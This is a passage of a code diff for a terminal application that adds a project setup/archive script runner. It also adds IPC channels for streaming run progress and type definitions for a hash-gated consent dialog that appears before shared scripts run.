+ const rootPath = target.ssh ? target.ssh.remoteCwd : target.rootPath
+ const env = {
+ NODETERM_ROOT_PATH: rootPath,
+ NODETERM_WORKTREE_PATH: cwd,
+ NODETERM_PROJECT_NAME: target.projectName
+ }
+ this.emit(entry, { state: 'running' })
+ let exitCode: number | undefined
+ let threw = false
+ try {
+ const res = await runner({
+ script,
+ cwd,
+ env,
+ // Raw pass-through: the runner edge does the debouncing/capping, so nothing is coalesced
+ // twice and this layer never holds output back.
+ onChunk: (text) => {
+ if (text) this.emit(entry, { state: 'running', chunk: text })
+ },
+ signal: entry.abort.signal,
+ ssh: target.ssh
+ })
+ exitCode = res.exitCode
+ } catch {
+ threw = true
+ } finally {
+ this.active.delete(entry.runKey)
+ }
+ if (entry.abort.signal.aborted) this.emit(entry, { state: 'cancelled', exitCode })
+ else if (threw) this.emit(entry, { state: 'failed' })
+ else this.emit(entry, { state: exitCode === 0 ? 'done' : 'failed', exitCode })
+ entry.closed = true
+ }
+
+ private emit(entry: ActiveRun, ev: Omit<ProjectSetupEvent, 'runKey' | 'kind' | 'seq'>): void {
+ // A chunk arriving after the terminal event (a runner that keeps draining) would reopen a run
+ // the UI has already closed out.
+ if (entry.closed) return
+ entry.seq += 1
+ const full: ProjectSetupEvent = { runKey: entry.runKey, kind: entry.kind, seq: entry.seq, ...ev }
+ platform().broadcast(IPC.projectSetupEvent(entry.projectId), full)
+ }
+}
diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts
index 37ef09d09..634a03884 100644
--- a/src/shared/ipc.ts
+++ b/src/shared/ipc.ts
@@ -241,6 +241,22 @@ export const IPC = {
projectSettingsRead: 'project-settings:read',
projectSettingsWriteShared: 'project-settings:write-shared',
projectSettingsUpdateLocal: 'project-settings:update-local',
+ /** Run a project's setup/archive script. Answers a ProjectSetupRunResult — `started` only means
+ * the run was admitted (gated + single-flight), not that it finished; progress arrives on
+ * projectSetupEvent. */
+ projectSetupRun: 'project-setup:run',
+ projectSetupCancel: 'project-setup:cancel',
+ /** Renderer's answer to a projectSetupConsentRequest ('approve' | 'skip'). A stale/unknown
+ * requestId is a silent no-op — an expired prompt can never be approved late. */
+ projectSetupConsentSubmit: 'project-setup:consent-submit',
+ /** main→renderer: raise the trust dialog (payload: ProjectSetupConsentRequest). */
+ projectSetupConsentRequest: 'project-setup:consent-request',
+ /** main→renderer: close a prompt nobody answered (payload: { requestId }). */
+ projectSetupConsentDismiss: 'project-setup:consent-dismiss',
+ /** Per-project push carrying a ProjectSetupEvent (mirrors the boardLogChanged naming). */
+ projectSetupEvent: (projectId: string) => `project-setup:event:${projectId}`,
+ projectSetupSubscribe: 'project-setup:subscribe',
+ projectSetupUnsubscribe: 'project-setup:unsubscribe',
// main → renderer events
workspaceMigrated: 'workspace:migrated',
/** Payload: the `workspace.json.corrupt-<ts>` filename the unreadable index was preserved as. */
diff --git a/src/shared/project-settings.ts b/src/shared/project-settings.ts
index d66e43971..7b544c8a7 100644
--- a/src/shared/project-settings.ts
+++ b/src/shared/project-settings.ts
@@ -337,6 +337,43 @@ export function resolveProjectSettings(
export type ProjectTrustFamily = 'setup' | 'agents' | 'shell'
+/** Which of the setup family's two scripts a run executes. */
+export type ProjectSetupKind = 'setup' | 'archive'
+
+/** main→renderer: raise the consent dialog for ONE shared-sourced script about to run. Approving
+ * covers the whole `setup` family (both scripts are hashed together), so `script` is what is about
+ * to run, not the full extent of what is being approved — the dialog says so. */
+export interface ProjectSetupConsentRequest {
+ requestId: string
+ kind: ProjectSetupKind
+ projectName: string
+ /** Human-readable location ("~/code/app" or "user@host:/srv/app"). */
+ locationLabel: string
+ /** The script about to run (the family's OTHER script is covered by the same approval). */
+ script: string
+ /** A prior approval exists for this family at this location (dialog copy: "changed since you
+ * approved"). Copy only — never a grant; the grant is the hash comparison. */
+ previouslyApproved: boolean
+}
+
+export type ProjectSetupConsentAnswer = 'approve' | 'skip'
+
+export type ProjectSetupRunResult =
+ | { status: 'started'; runKey: string; waitForSetup: boolean }
+ | { status: 'skipped'; reason: 'no-script' | 'declined' | 'unanswered' | 'busy' | 'unavailable' }
+
+/** main→renderer per-run progress on `IPC.projectSetupEvent(projectId)`. `seq` is monotonic per
+ * run, so a client that misses one knows it. */
+export interface ProjectSetupEvent {
+ runKey: string
+ kind: ProjectSetupKind
+ seq: number
+ state: 'running' | 'done' | 'failed' | 'cancelled'
+ /** Appended output since the last event (stdout+stderr interleaved, capped). */
+ chunk?: string
+ exitCode?: number
+}
+
/**
* Canonical string covering EVERYTHING executable a family ships — the same shape of problem
* `execTrusted` (node-exec.ts) solves for shell/ssh fields: a caller compares this against what it